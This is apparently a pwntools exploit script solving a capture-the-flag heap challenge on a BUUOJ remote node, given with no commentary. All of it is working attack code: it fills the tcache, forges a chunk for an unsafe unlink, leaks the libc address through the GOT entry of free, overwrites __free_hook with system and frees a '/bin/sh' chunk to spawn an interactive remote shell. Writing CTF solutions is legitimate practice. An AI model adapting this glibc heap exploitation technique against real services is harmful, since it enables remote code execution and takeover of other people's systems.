1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context(os='linux',arch='amd64',log_level='debug') #p = process("./buu") p = remote('node4.buuoj.cn',26130) libc = ELF("u1864.so") heap_addr = 0x6020E0 free_got = 0x601FA0 def debug(): gdb.attach(p) def add(index,size,content): p.sendlineafter("4.show\n","1") p.sendlineafter("index:\n",str(index)) p.sendlineafter("size:\n",str(size)) p.sendlineafter("content:\n",content) def delete(index): p.sendlineafter("4.show\n","2") p.sendlineafter("index:\n",str(index)) def edit(index,content): p.sendlineafter("4.show\n","3") p.sendlineafter("index:\n",str(index)) p.sendafter("content:\n",content) def show(index): p.sendlineafter("4.show\n","4") p.sendlineafter("index:\n",str(index)) for i in range(7): add(i+1,0xf0,"aaa") add(32,0xf8,"aaa") add(8,0xf0,"aaa") add(9,0x80,"/bin/sh\x00") add(10,0x80,"aaa") add(11,0x80,"aaa") add(12,0x80,"aaa") for i in range(7): delete(i+1) payload = p64(0) + p64(0xf1) + p64(heap_addr + 0x100 - 0x18) + p64(heap_addr + 0x100 - 0x10) + 'a'*0xd0 + p64(0xf0) edit(32,payload) delete(8) payload = 'a'*0x18 + p64(heap_addr + 0x50) + 'a'*0xd0 + p32(1) + p32(4) edit(32,payload) payload = p64(free_got) + p64(heap_addr + 0x58) edit(32,payload) show(10) libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - libc.sym['free'] print(hex(libcbase)) system_addr = libcbase + libc.sym['system'] free_hook = libcbase + libc.sym['__free_hook'] payload = p64(free_hook) edit(11,payload) payload = p64(system_addr) edit(11,payload) delete(9) #debug() p.interactive()
|